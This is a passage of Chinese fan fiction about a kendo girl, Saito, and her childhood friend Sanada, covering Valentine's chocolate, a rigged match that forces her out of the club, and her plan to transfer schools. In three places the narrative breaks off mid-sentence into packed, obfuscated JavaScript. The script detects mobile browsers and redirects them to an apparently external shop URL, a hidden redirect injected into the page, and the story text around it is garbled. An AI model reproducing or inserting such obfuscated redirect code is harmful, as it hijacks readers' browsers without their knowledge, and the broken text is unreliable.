斋藤努力地让自己心平气和,但真田还是咄咄逼人,她不喜欢真田这样像是吃了火药的态度跟自己说话。 斋藤的手机突然震动,是父亲发来的信息。 斋藤烦躁地点开对话栏,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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真田没有立刻给斋藤回复,他应该是在消化斋藤的胡言乱语——非常合适的一个词。 “……你的意思是用巧克力大福补圣诞节礼物?” “真田君总结的非常好。” “你当我是笨蛋吗!” “再说了,哪有圣诞礼物上有喜……喜……” 真田磕磕巴巴地硬是说不出完整地话,也好,真田要是在电话里完整的说“喜欢”,电话另一头的斋藤就想挖个坑就地把自己埋了。 斋藤觉得想是她的父亲看到了“已读”却没有收到自己的回复,于是发送无用的表情贴图。 斋藤想错了,这回是山田发来了信息。 【斋藤同学,抱歉,我才发现寄错包裹了。】 【希望没给你造成麻烦。】 山田,来得正是时候! 斋藤双手捏住手机,由衷地感谢着山田及时发来的这两句话,她将和山田的聊天的截图发给真田。 “什么啊。”真田语气听上去轻松了不少。 巧克力大福的风波结束了。 斋藤按下屏幕红色的圆钮,点开山田的对话框,发了一句【都是山田你的错】。 14. 义理巧克力 周一中午,山田和斋藤在学校中庭碰面,山田的第一件事就是和斋藤道歉。虽然这次误会的根源是山田的粗心,但是误会的解决也是靠山田。 斋藤轻易地原谅了山田。 “斋藤同学,情人节你要送巧克力给谁吗?我可以再给你一盒巧克力大福,让你送人。” “你非要在伤口上撒盐吗?”斋藤双手抱胸,以受害者的姿态指责着山田。 山田家的和果子种类那么多,她非要继续拿巧克力大福作为错误的补偿,斋藤怀疑山田就是在整蛊她。 “伤口撒盐?”山田歪着脑袋,然后兴奋的探出身体打量着斋藤的表情。“难不成你把告白大福送人?” “是那个在立海大的青梅竹马吗?” 斋藤不想让山田看到自己的表情,将脸彻底撇到一边。 “所以‘都是我的错’是指这个啊!”山田捧腹大笑,引得其他学生驻足。 斋藤冷淡地俯视着笑得前仰后合的山田。 “对不起,是我不好!”在斋藤无声的压迫下,山田立刻收起笑声。 “过两天你会送——义理巧克力给你那个青梅竹马吗?” 斋藤皱起眉头,她不明白山田为什么会突然多管闲事,问自在情人节要不要送巧克力给真田。 难道是山田以为斋藤把巧克力大福给真田是当作义理巧克力吗? 虽然斋藤没想到这层,但是因为山田的错寄,让斋藤痛失一次让真田欠人情的机会。 千错万错都是山田的错 “特意给他送那种东西?”斋藤不以为然。 “那种东西?”这回轮到山田没办法理解了。 “我在小学的时候一般拿巧克宝贝做义理巧克力,要是送那个的话无论是邮寄还是坐电车送都非常不值得呢。” 听到斋藤这么说,山田变得严肃起来。 “斋藤同学,你已经不是小学生,请重视情人节!这个年纪的男生虚荣心很强的,你这么随便会让你的青梅竹马的心灵受伤的。” “礼轻情意重,他还是明白的。” “呜啊,真是个高高在上的大小姐。”山田身体向后仰,惊呼着,“说不定就因为你有这种想法,你的青梅竹马才不敢表现出对巧克力的期待!” “我了解他,我送的巧克宝贝他一点反应也没有。” “我说清楚一点。” 山田看了四周,然后凑到斋藤的耳边低声地说,“巧克宝贝是给收不到巧克力的男生的,包含了同情和怜悯。” “我不是那个意思!” “小学的时候不理解,但是他现在是国中生了,收到了别的女生给的精美得多的巧克力,然后猛然回忆起,身为青梅竹马的你,只给过巧·克·宝·贝。” “……你觉得他会怎么想?” 斋藤被山田说服了。 “我知道了,我送就是了……” “太好了,我推荐我们家的巧克力大福,当然是普通——”山田借机推销起自家的,斋藤非常熟悉的巧克力大福。 “请不要再提大福了!” “因为按着斋藤同学的个性一定会选择邮寄,我们家——” “不需要邮寄,我亲自送!” 情人节当天,山田将布包交给斋藤,又递出一张收据和找的零钱:“我找遍了几家,最后还是挑了这家最不容易误会的手工款,一看就是义理巧克力,包装也不寒酸,符合你的身份。” 当斋藤看着收据上多出的巧克力大福,她补充道:“我顺手买了一颗他们的巧克力大福吃,完全没我们家的好吃呢。” 斋藤没有因为多出来的巧克力大福而计较,毕竟跑腿的是山田,山田肚子里早已消化的巧克力大福就当是报酬了。 她道谢接过纸袋,拆开用丝带打着蝴蝶结,装着巧克力的的布包确认内容物。看上去确实只是普通的手工巧克力。 巧克力有了,就差心理准备了。 斋藤预先把平时挂在书桌前的武士狮挂在书包上,像是在上场前的小小仪式,希望自己看起来冷静、从容,像平常面对比赛一样。” 只是给义理巧克力,用不着这么紧张吧,斋藤自嘲,但是她的神经一直紧绷。 放学后,提前和社团老师请了假的斋藤前往车站。她早已规划之后的安排,在真田家门口等着真田,把巧克力交给他后,就去暑假去的道场练习。 斋藤也想和真田事先联系约好碰面的时间,但是真田要是得知斋藤只是为了送巧克力,铁定不会开心的,说不定还会叨唠上两句。 “斋藤前辈?” 就在斋藤思绪还停留在真田的反应上时,一个声音从车站熙攘的人群中传来。她回头看去,发现叫住她的是个和自己身高差不多的男生。从男孩背着的书包来看,应该还是个小学生。 斋藤见男孩有些眼熟,便停下脚步礼貌而疑惑地问。 “请问你是谁?” 男孩愣了一下,然后恭敬地介绍着自己是和斋藤一个剑道道场的学员。 斋藤释然,她在东京去的那家道场的确不分国中生和小学生,而且国中生一般不会小学生一起训练,更别说斋藤和对方性别不同了。 “斋藤前辈,我毕业后会去风岚中学。”男孩突然这么说着。 “到时候请多指教了。” “嗯,请多指教。”斋藤礼貌地回了一句,却又立刻意识到时间有些紧迫,于是略带歉意地补充道,“抱歉,我现在赶时间,有机会再聊。” 匆匆转身时,隐约听到男孩欲言又止的声音,但她已没心思多做停留。 斋藤躲在距离真田家的一段距离的转交处,盯着真田家的家门,用手提式书包遮挡着巧克力的手袋。她打算制造一次“邂逅”将巧克力交给真田。 当然这个巧克力不能说是斋藤买的,而是—— 嗯,这是道场的后辈给的巧克力……不过我不需要。 如果斋藤真的这么说,绝对会真田被念“你怎么能糟蹋别人的心意!”。 斋藤决定和真田老老实实地说是自己巧克力是“顺手”买的。 “斋藤君?” 真田的声音从身后传来。 “啊,真田君,下午好。”斋藤一边慌张地打招呼,一边将手中的书包压紧实将纸袋遮好。 斋藤不知道是不是错觉,一个月没见,真田似乎又长高了一点。 “你在这里干什么?今天不是休息日吧。”真田问。 我来送巧克力的。 斋藤想,这句简单的话,比想象中的还要难以启齿。 然后她注意到了真田手中,透着各种颜色的巧克力外包装的白色塑料袋。 这么多巧克力……那真是太好了。斋藤欣慰地想着,那么她送巧克力的行为也不会让真田觉得唐突了。 “那个袋子里面难道是巧克力?” “是啊。” “这不是挺好的,说明真田君你很受欢迎嘛。” 真田皱起眉头,语气变得有些不耐烦:“我又不喜欢吃这种甜腻的东西。” 说到这里,他像是忽然想到了什么,表情放松了一些。 “还好你从来不会做这种事。” 斋藤当然会做,不仅是现在,前几年的2月14日都会送巧克宝贝给真田。不过这句话就说明了,真田不知道她很早就送过“义理巧克力” “我会做这种无聊的事情。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487287|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “什么?” “我在前几年的2月14日送你的巧克宝贝,就是义理巧克力。” “……但是你总是动不动就把那东西塞给我。” “可是那天的,是义理巧克力。” 说完,斋藤把目光移开了一点,下意识又把书包挪了挪,把手上的纸袋挡得更严了。 既然真田明确地和她说了不喜欢巧克力,那么她也就没有送出去的必要了。 “拿出来吧。”真田无奈地说,“我不讨厌吃巧克宝贝……反正就只有一点点……” “没有巧克宝贝。” “那么你书包后面的手袋里是什么?” 在真田的问询下,斋藤迅速地将自巧克力从纸袋里拿出来,再塞进真田手中的袋子里,和别的巧克力混在一起。 真田还是很轻易地在袋子里找到了斋藤给他的巧克力,但是他打开包装后里面的出乎意料的东西让他的嘴巴张开。 “……不是巧克宝贝?” “有人跟我说巧克宝贝太随便了,做义理巧克力都会被人嫌弃的。”斋藤抿着嘴,小小地鼓起腮帮,语气里带着点不甘。 “我不在意那种事。”真田认真澄清。 “……我也是怎么想的。” 然后两人沉默了。 斋藤眉毛呈八字形,无奈地想,今天就这样吧,并打算和真田告别。 就在这时真田拆开斋藤送的巧克力的外包装,拿起一块巧克力拆掉金色的包装纸,塞嘴里咀嚼着。巧克力下肚后,真田紧攥着包装纸。 斋藤看到真田的手指上沾着一些融化的巧克力,便拿出纸巾。 “哪一个比较好吃?”斋藤看着用纸巾擦着手的真田问。 “其他的巧克力我还没吃。” “我是问,这个巧克力和之前的巧克力大福,你觉得哪个好吃?” “……我没有吃巧克力大福。”真田说得有些犹豫,“左助来了,我把我的那份给他吃了。” 斋藤刚想说真可惜,真田补充着,我也不想吃那个巧克力大福。 “是因为上面的字吗?”斋藤直截了当地问。 “……我好不容易忘记了。”真田咋舌,怪罪斋藤让他想起尴尬的回忆。 “那么下次请你吃不带字的!” “不用了,这段时间我应该不想吃巧克力了。”真田晃了晃手里的塑料袋。 “喂,斋藤,你不会是特地送巧克力才回来的吧?” 真田像是突然意识到什么问。 “你觉得呢?”斋藤反问。 “你应该不会在这种事情上浪费时间。” 这句话让斋藤胸口容纳心脏的位置,开始分散错位,没有坚实的保护但是为了个体生存的心脏更加剧烈地搏动着,每一次搏动都撞在错位的骨骼上,刺痛,却不停。 她不否认自己希望真田说些出乎意料的话,但事实辜负了她的期待。 “嗯,真田君真厉害。” 斋藤笑着点了点头,她现在想要快点去道场练习,于是匆匆地真田道别。 到家后斋藤才发现挂在书包上的武士狮不见了。 斋藤很珍惜真田送的武士狮,只是她现在觉得,这一路的路程太长了,武士狮应该是很难找回来了,那就更不应该把这件事放在心上。 一个月后,斋藤收到了真田的短信,他发了一个水蓝色的表情木讷的奇怪人偶挂饰的照片。 是九十年代流行的,也是斋藤喜欢的吉祥物,海人。 “在中古集市上无意中看到的,你下次回来的时候记得跟我拿。” 斋藤想起丢了的武士狮,她决定这次将这个挂件好好收着,不挂在书包上了。 15. 麻烦的家伙来了 早上七点,斋藤蹲下身,膝盖微曲,脚尖牢牢踩住地板。脚后跟略微抬起,重心前倾姿势双手贴地隔着抹布紧贴地板在场馆里穿行。 三月的清晨,寒意非常浓重,斋藤冻得通红发僵浸的手重复浸入冷水中的,搓洗着抹布。 越是这样,斋藤就越不敢轻易停下。 “斋藤前辈,早上好!”一个充满稚气,但是耳熟的声音打断了斋藤的动作。 斋藤起身看向门口,来人是不久之前在车站见过的,和自己打招呼的小学男生。 他穿着剑道服,挎着黑色的剑道装备包。 “果然跟前辈你说得一样,这么早就在道场擦地板了。” 斋藤清楚自己没有和这个男生有太多的交流,所以应该是他校外道场的其他人那里听说的。 “你为什么会来这?” “前辈你忘记了吗?四月份开始我就是这个学校的学生了。” 斋藤轻轻蹙眉,露出对这个答案不满意的表情。她当然记得一个月还没过的男孩跟自己说了什么。 即便是新生,这个点来学校参观也太早了。 他的装扮让斋藤猜到了他的意图。 这个男生应该是来“踢馆”的。 斋藤笃定他的目标不是自己,如果是,他早在就在校外的道场挑战自己了。 “是吗?那么请自便。”斋藤表现地毫不在意。 “我希望前辈能够带我参观一下学校。”正当斋藤决定继续擦地板的时候,男生开口请求斋藤。 “这个学校里目前我只认识斋藤前辈你。” “抱歉我的日课还没有完成。”斋藤拒绝道。 “斋藤前辈还真是一如既往的冷淡,难怪看上去不太合群。” 不合群。 男生的话直戳斋藤心中的痛点。 斋藤也努力过,她会在比试后给予对手赞美,可是大家似乎并不领情,表现得极为冷淡。 斋藤虽然不是那种对不熟悉的人表现地亲切热心的人,不过从现在开始在后辈面前表现的亲切一些,说不定自己的在部内的风评会变得稍微好一些,继而真正地融入社团。 “好吧,我擦完地板后带你参观。”想法的转变让斋藤变得乐于接受了男生的请求。 男生也没反对,正坐在一旁等待斋藤结束日课。 按着约定,擦完地板后的斋藤带着男生一边走着一边简单介绍着学校建筑与设施。 斋藤介绍着,突然意识到自己不知道怎么称呼眼前这个男生。 “不好意思,其实我现在还不知道你叫什么。”斋藤羞愧地问着这个对自己恭敬,充满信任的后辈。 “没关系,前辈等一会就知道了。”男生心不在焉地回答,视线在建筑间四处游动着。 一般踢馆之前会对手的地盘进行自我介绍,知道这点的斋藤没有追问。 在学校转了一圈,他们回到了起点——道场场馆。这个时候的场馆已经聚集了一些开始热身的部员。 赤川一改之前在斋藤面前的顺从姿态,走到场馆的门前,颇具气势地大声宣言。 “我叫赤川雄一!今年四月后就是这个学校的学生,请多指教!” 斋藤看着赤川的眼睛倏然睁大。 斋藤对这个名字印象很深,因为叫这个名字,练剑道的男生,和真田一样,都推开了斋藤。 “你是赤川君!” 斋藤变得很激动,她很开心赤川没有因为自己的失言而放弃剑道。 “好久不见,赤川君。” “……看来斋藤前辈你还是有那么一点点记性的。” 话语没有那么直接,但是一改之前的恭敬,斋藤能从嘲讽的语气中听出他对自己有敌意。 “……赤川君,那件事真的很对不起。” “别假惺惺的,你到现在还没把瞧不起的毛病改掉。” “我从来都没有瞧不起人。” “可是前辈,在场的人没有一个站在你这边啊。” 斋藤看着周围的部员,全都只是冷漠地看着斋藤和赤川,当斋藤难以置信的眼神看向自己时,只是躲避着斋藤的视线。 “斋藤前辈,请跟我比一场吧!”赤川鞠躬恭敬地说,然后抬起头补充道,“——别误会,因为你是前辈,所以我必须这么说。” “还有,你输了退部,我输了,我就不会加入剑道部,做一个普通的国中生。” “我拒绝!为什么只能我们中的一个待在剑道部?” “因为讨厌前辈你,我无法忍受和你待在一个空间里……这一点我十分肯定。” 人群中似乎有人发出小声的呼号,对赤川的直白挑衅充满赞许。 “赤川你以前不是这样的人……” 赤川挠着脑袋打断了斋藤的感概。 “啊——这种话还是免了,前辈你是你同意还是不同意?” “请容我拒绝。” 斋藤难得拒绝了比试的邀约。 不是说因为这份比试带着荒谬的赌约,而是从早上开始她擦地板,带赤川参观学校,现在又要比试。到现在还是空腹的她不知道自己又没有体力能够支持自己比赛。 身体状态不佳,她也无法全力应战。 “斋藤前辈,难道说你现在还觉得百分之百会赢过我。” “看吧,你到现在还是瞧不起我。” 赤川垂下头,一脸悲戚,委屈地说。 不知斋藤思虑的围观者们单凭赤川地一面之词,以及对斋藤的偏见,对着斋藤露出厌恶地表情, 赤川这句话,让斋藤想到了过去。 赤川推她的时候,面具下的表情难道也是这样的? 原来自己的无心之言,能让对方这么痛苦。 “……我知道了,我接受你的挑战。” 斋藤的同意更像是对赤川的补偿。 斋藤和赤川全副武装站在赛场上行礼,一位自发成为这场比试裁判的三年级的学长也站在赛场上。 双方将剑尖指着对方的喉部,此刻少许的饥饿感让斋藤更加清醒专注。 虽然勉强同意了比试但是斋藤知道自己不能输。 只能速战速决了,斋藤想。 比试开始了。 两人的身高差距不大,然而在体力上,赤川仍然压制着她。 更令她在意的,是对方技法的进步幅度远远超出了她的预期。 最让斋藤感到惊喜的是,在比赛之前的对话中来看,他对斋藤的积怨颇深,可是现在他的动作中完全感受不到这样的情绪。 几年前就是因为赤川赛场上太过意气用事,让斋藤很轻易地抓到破绽。 斋藤再次为赤川对剑道的坚持感到慰藉。 作为回报,她迅速地击打到了赤川的胴部。 看样子在体力耗尽之前,还是能赢下比试的—— “打击无效。”而身为裁判的学长双臂交叉,否定了斋藤的打击。 看到戴着面具的斋藤面朝自己,学长冷冷地说“气势不够”。 场边的学生们开始窃窃私语,但是学长高声喝道“安静”,将所有声音压了下去。 斋藤也没有深究,因为她的确没有以最佳状态上场,被判气势不足也是可能的。 但下一次击打,斋藤即便努力地刻意地大声气合,学长也给出了类似的理由,将斋藤的打击判做无效。 同时,斋藤感觉到自己的专注力开始因为身体的疲劳开始下降,她立刻大声叫停比赛。 “停!” “这场比试无效!”斋藤对着赤坂,对着所有人,对着这个场馆控诉着。 “那我是不是可以理解斋藤前辈你‘认输了’?”赤川问。 斋藤对赤川的反应感到了愤怒。 “如果你觉得你赢了就赢了!” “这场比赛没有任何意义,你难道看不出来吗?” 听到斋藤的质问,赤川只是对着她鞠了一躬,转身下场。就当斋藤庆幸赤川是认可了自己的话时,赤川从包里拿出一个武士狮的挂件。 “前辈,这是之前你丢的武士狮挂件,我今天特地带过来,打算把这个还给你……” “但是呢,前辈居然消极对战,我觉得前辈你没资格带着全日剑道协会的吉祥物呢。” “赤川!” “前辈你放心,我对这东西不感兴趣,只要前辈愿意陪我比试下去,我一定会双手奉还的。” 场馆内安静的可怕。 在场的所有人都默许这这一切的发生,像是在隔着电视,虽然有个别人会露出难以置信以及忿忿不平的表情,但也只是静静地看着。 斋藤握紧拳头,矗立在赛场上,这场比试,连整个场馆,都是自己的对手。 当赤川确定自己的“优势”之后,他不再积极正面地进攻,而开始频繁地闪避后撤,戏耍着斋藤,这让斋藤感觉十分屈辱,可她没有停止战斗,因为武士狮还在赤川手上。 身为裁判的学长对此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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斋藤将武士狮紧握在手中,默默发誓再也不会把它弄丢了。 休息了片刻后,斋藤离开了道场,而在此期间,剑道部没有人和斋藤说一句话。 斋藤回到宿舍换下道服,用力地将除汗喷雾的按帽按到最底端。 离开学校的时候,正巧遇到监督,以耳朵不适去诊所为由请了一天的假。然后她前往商业街的提供日式早餐的定食店,点了银鳕西京烧套餐。 经过早上的比试,斋藤已经饿得前胸贴后背了。 炭火烤过的银鳕鱼皮边微卷,咸香中透出一丝酱汁的甜味。玉子烧匀称地分成三等分,放在一旁刷了柚子酱油的小碟上,柔软洁白的米粒带着米油的光泽。 做了几个深呼吸后,觉得自己的怒气消散了有些后,斋藤才拿起筷子吃饭。 为什么会变成这样? 为什么自己变得像是剑道部的局外人一样? 斋藤一边忍受着咀嚼带来的耳部疼痛,一边反省。 全是因为小宫的关系而对她另眼相待……吗? 不对,是有改善关系的机会。 斋藤应该在远藤平衡维护自己与学长姐的期间去和大家打好关系的,而她的冷淡的个性惰于社交,才错失这次机会。 还有就是远藤停止部活后,自己在周末没有去过剑道部,即便自己本意并不是如此,或许让他人觉得斋藤是在嫌弃待在剑道部练习。 如果周末留出一些在剑道部里做一些基本稽古,他们应该就不会有这种想法了。 所以,即使现在遭遇不公裁决,也没有人会站出来安慰她、为她说话、劝她留下。 斋藤开始思考着另一个关键问题。 那学长裁判不公是为了什么? 今年的全中报名时间提前至三月末。 只要在斋藤在春假期间退出剑道部,参赛者就肯定不是斋藤。 原来如此。 斋藤从剑道部消失对“学姐”是大有益处。 那么学长比起是几乎毫无情谊的斋藤,自然就会偏向拥有共同经历的“学姐”。 “社团和校外的道场完全不一样。” 这是真田跟斋藤说过的,而现在斋藤才体会到。 但无论斋藤有多碍眼,令人不快,这都不是蔑视公平,践踏规则的理由。 所以她要向那些人复仇。 只要转学,代表别的学校参赛并且冠军,就是对风岚的复仇。 但是赤川呢? 她清楚身为女生的自己在正式的赛场上是很难和赤川碰面。 如果说是因为自己的错误,让他变成这样,自己必须要要正大光明地战胜他,纠正他。 想想办法吧,斋藤志罗。 能赢他的人,必须是你才行。 16. 和真田见面 “小宫前辈,我退出剑道部了,真的很抱歉。” 斋藤在母亲以事务所的名义在东京购置的高层公寓里,坐在落地窗边的沙发上看着像是由各种规则的几何块拼贴而成的城市,和小宫通话。 输给赤川的当天,斋藤跟母亲用手机发了一条信息说自己不想住在学校里了,叫了一辆出租车将宿舍里的私人物品打包送到公寓。 隔天,斋藤以耳膜穿孔没办法继续社团活动作为理由,和监督申请退部。坐在办公桌前的监督将部员名单搁在一边,眉毛高高挑起,看着外表看与平日无异的斋藤,随后又将注意力转到手上的事务,平静地说道“好好休息,早日康复”。 看来剑道部的人也知道那场不像样的比试不能让监督知道。 当斋藤办好转学手续后,小宫是她第一个联系的对象,毕竟风岚是小宫推荐给她的学校。 小宫听完斋藤的讲述前因后果后,在电话的另一头笑出了声。 “你竟然会因为这种下三滥的手段输了。明明跟他们拼到底不就好了。” 去年暑假之后,小宫在斋藤面前彻底卸下了温和前辈的面孔,说话毫不客气。 对熟悉的后辈都是如此不留情面,不敢想象她以什么姿态待在剑道部,成为让所有人闻风丧胆的魔剑。 “我并没有和他拼到底的体力……” “那就稍微打在防具之外的地方,让他们感觉到有‘积极进攻’就是了。” 说到这小宫又笑了,像是在嘲笑斋藤的坚持。 斋藤想,看来小宫前辈对这类事情已经习以为常了。 “我做不到。” “哪怕对面对你充满恶意?” “我没必要为了对付他们而和他们沦为一道。” 小宫鄙夷地哼了一声。 “你现在该怎么办?在校外道场进行训练?但那样是参加不了全中的。先不说我,真田君也绝对会饶不了你的。” 虽然听上去是语重心长,但是斋藤还是听见电话那头传来难以捕捉的愉悦鼻息。 “只要转学就能参加全中的。” “你现在转到别的学校空降剑道部,去争夺全中个人赛的资格……” “这和你去年就好好的和远藤比试一场也没差吧?” 小宫不忘给斋藤补上一刀。 “我会争取今年团体赛的资格。” “也太没志气了,你还不如直接把所有人打趴然后直接跟监督说你要打个人赛。” “我不能这么做。” 然后斋藤将自己的计划复述给小宫。 “随你。”小宫平淡地回答,她对斋藤的计划没有兴趣。 “还有,真要是那样,我就不是你的前辈了,你也不需要叫我前辈了。” 结束通话后,斋藤看着放在茶几上的冰帝学园的入学指南。 当斋藤和母亲提出想要到冰帝上学并且住在东京的住所,母亲不说是阻止,甚至非常乐意听到斋藤主动这么要求。而有母亲那边的关系在,转学手续几乎没费什么功夫,很快就通过了。 当斋藤打电话告诉山田自己打算转学时,山田出乎意料地没有表现出惊讶,反而很干脆地支持了她。 “说实话,我也差不多要搬出宿舍了,”山田笑着说,“我又不是剑道部的,本来就是东京人,学校早就开口劝我不要再住校了。” 剩下的就是等开学了。 斋藤蜷坐在沙发中,看着高高的吊顶上悬挂着的,由母亲亲自挑选的几何造型的吊灯。 诊所的医生说一个星期里禁止剧烈运动。当斋藤提素振时,医生严厉地说素振也算是剧烈运动,让她忍耐一段时间。 百无聊赖地斋藤开始发散思维,脑海里蹦出一句“真倒霉”。 “啊,那个签……” 新年初诣时抽到的签早就预示现在的状况。 从天而降的敌人是赤川,这点斋藤的确没有想到。 那么站在高空处的贵人是谁呢? 要不然趁春假还没结束,回家一趟,去那个神社拜拜。 ……正好也把今年也没办法参加全中的事情跟真田当面说清楚了。就像小宫说的那样,要是不说明了,真田应该是没办法轻易饶了斋藤。 斋藤立刻联系父母说今天她要回神奈川。 “晚上好,真田君。” 晚上,斋藤站在真田家门口,对着那位一个多月未见的青梅竹马爽朗地打了声招呼。 虽然真田的家人有热情地邀请她进屋坐坐,但她还是婉拒了,执意站在门口等他。 “给你。” 真田往她手里塞了点什么,斋藤摊开手,是真田之前跟斋藤海人挂件,原本的外包装早已风化破损,被套进一个新的密封袋中。 海人是90年代风靡一时的卡通形象,虽说现在还是偶尔还会有相关商品的推出,但保存得这么完好的中古品是难得一见的。 斋藤看着手中的挂件,用手指摩梭着塑料袋,开心地道谢。 “真田君,这个不是在土偶里淘到的吧?” 斋藤说这句话是有理由的。 斋藤在母亲的旧杂物堆里发现了一个神情呆滞的圆头圆脑的蓝色人形,这东西莫名对她有种吸引力,她一眼便喜欢上了它。斋藤询问父亲这个东西的名字和来历,父亲有些面露难色地说,这叫海人,并劝斋藤不要追究其出处。 第二天,斋藤将海人拿到真田面前,兴奋地展示。 真田就在斋藤过生日的时候送给斋藤一个土偶模型玩具。 “那个叫海人很像土偶,所以我觉得你应该也会喜欢土偶。”真田说。 收下礼物并道谢的斋藤回家后,拿着兔子和小狗玩偶跑到真田家,把这两个常年放置在房间角落的玩具摆在真田的面前,并声称这是兔犬。 “这就是兔犬,兔子和犬,不就是兔犬吗?” 在斋藤用兔子和狗玩偶挤压着真田的脸的攻势之下,真田无奈地斋藤道歉。 此刻听到斋藤的调侃,真田咬着牙,皱着眉头,大概是后悔买了海人送给斋藤。 “你之前不是说为了备战全中春假就不回来了吗?难道你专门回家就为了拿这东西?” “我是找你的。” “找我干什么?” “这件事说来话长,要不然我们一边散步一边说?”斋藤双手合十拜托真田。 真田回屋换鞋后,就跟着斋藤出门。 两个人跟着路灯的指引,漫无目的的走着。 三月末刚开的樱花镶嵌在枝头,不久后这条街上都是粉色的碎片。但是斋藤无心欣赏,也没有对赏樱有所期待。 她在思考怎么对真田开口。 仔细回想起赤川和剑道部的事情,斋藤这才觉得这事非常的离谱。她努力思考用什么既能言简意赅又能让真田比较容易接受的说法。 真田似乎是等着斋藤主动开口,也是一言不发。 不知不觉间,斋藤看到前方熟悉的社区公园。那是他们小时候经常一起玩的地方。她觉得在那里面能更轻松地跟真田说那些事情。 “我们去那里坐一会吧。” 公园里的设施有些褪色,包裹在外的漆面也有一点剥落,不久之后这里应该要被封起来进行设施的维护与保养了。 进入公园后,斋藤坐在秋千上摇晃着身体。 “……你应该不是带我来到公园荡秋千的吧。” 斋藤看出来真田开始不耐烦了,决定不再斟酌,顺其自然地说,毕竟比赛输了就要退部这件事,怎么想都会让人觉得非常不合理。 她轻咳一声。 “首先,你听到什么都不要惊讶。” 真田站在斋藤的前面,双手交叉放在胸前,手紧紧地捏着手臂。 “我和别人约定比试输了就退部,我输了,然后就有时间休息了。”斋藤说得干脆简洁。 真田一时没有反应过来,呆然地看着斋藤。 “输了?退部?!” 突然的高声让带着伤痛的耳朵更加难受,斋藤不禁用力用手掌压住外耳。 “真田君,都说了不要惊讶了。” “你是放弃剑道了?” “你不是答应过我不再说那种话了吗?” 真田的问话让斋藤情绪激动起来,因为嘴巴张得太大,拉扯到了耳朵,不过因为她把手一直都放在耳边,她没有做出明显的反应。 “我实在想不出什么能让你退部的理由。” “跟你说了啊,因为我跟别人比试输了,输了的代价就是退部。” 斋藤再解释一遍,努力让真田接受这件事。 “这也太胡闹了!” 真田还是没有轻易接受。 “难道真田君觉得我应该说‘我不想退部,请让刚才那局比赛无效吧’比较不胡闹。” “你一上来就不该接受这样的比试!” 斋藤只要一开始坚持不去和赤川比试,他们就没有任何理由裁定她输家。 况且她在社团中的风评已经不是很好了,再多一件事“傲慢地拒绝别人的挑战”也不会怎么样,可能还会省去更多的麻烦。 现在斋藤才开始后悔当初会接受这样的比试。 “是你没有预料到对手会那么强吗?” “大概有这个原因,可能对手还是小学生,我大意了。” “小学生?”真田陷入了巨大的混乱中。 “斋藤君,请你详细说明一下到底发生了什么。” 真田的眼神迷茫不解逐渐变得清澄明亮。 她模糊了很多的信息,比如被赤川拿来威胁斋藤的,真田赠送的武士狮以及耳膜穿孔。 看着真田露出恍然大悟的表情,斋藤非常不悦。 “你这个时候露出这种表情,我会伤心的。” “所以你这算是被孤立了?”真田立刻换回平时的表情,问斋藤。 “算是吧。”斋藤穿着运动鞋的双脚在秋千下方的沙地上乱划着。 “……无论怎么样,他们都不该这么对待你。”真田安慰着斋藤。 斋藤抬起头看向群星密布地暗色天空。 “我在想,赤川他变成这个样子,我是不是多少也要负一点责任?” “斋藤君,有尊严的人是会和你堂堂正正的比试,而不是站在不公的一方一起落井下石。” “所以你已经退出剑道部了吗?” “第二天就申请退部了。” “你没有跟监督说这件事吗?” “这件事没必要让他知道。” “监督有义务调解社团成员之前的矛盾。” “对我来说,那些人做得事情,已经不是用能用‘矛盾’来形容了。” “……监督没有挽留你吗?” 斋藤回想了监督看到自己手中的退部申请,并没有感到意外,似乎很清楚斋藤总有一天会这样。 “没有。”斋藤回答。 斋藤听见真田轻轻地吸了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487289|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那你现在打算怎么办?主动挑战那个赤川,打败他,然后回到剑道部?” “我并不打算回去。” “……你还真喜欢逃避。”真田语气透露出明显的失望。 “真田君!”斋藤瞪着真田,愤怒地叫着他的名字,暗示他不要再说那种话。 “所以你就打算一直在校外道场训练,再也不回剑道部了?” “我会去别的学校的剑道部,然后终结风岚在全中的连胜。”斋藤坚定地说。 “为了这种事转学?”真田放下抱胸地双手,难以置信地问着,“那个赤川怎么办?你还是要亲自回到风岚的剑道部才能挑战他吧。” “我打算通过校间试合,和赤川一决胜负。” 虽然斋藤和赤川在同一个道场训练,她完全可以在道场再次和赤川一较高下,但斋藤感觉那更像是切磋,而不是正式的较量。 “那你转到哪个学校了?” “冰帝学园。” “冰帝……”真田思忖着。 “有什么问题?” “这跟你没关系。” “难道是因为迹部先生?” “你认识迹部?” “嗯,我之前跟你提过的,可能是个很厉害的对手。”斋藤因为自己的判断正确而得意地说着。 “你又不会打网球,能知道什么?” 真田说话的口气有些重,这让斋藤胸口一窒。但是冷静地想一下,斋藤在不懂网球的情况下就觉得对方是个很厉害的人,实在是过分轻率。 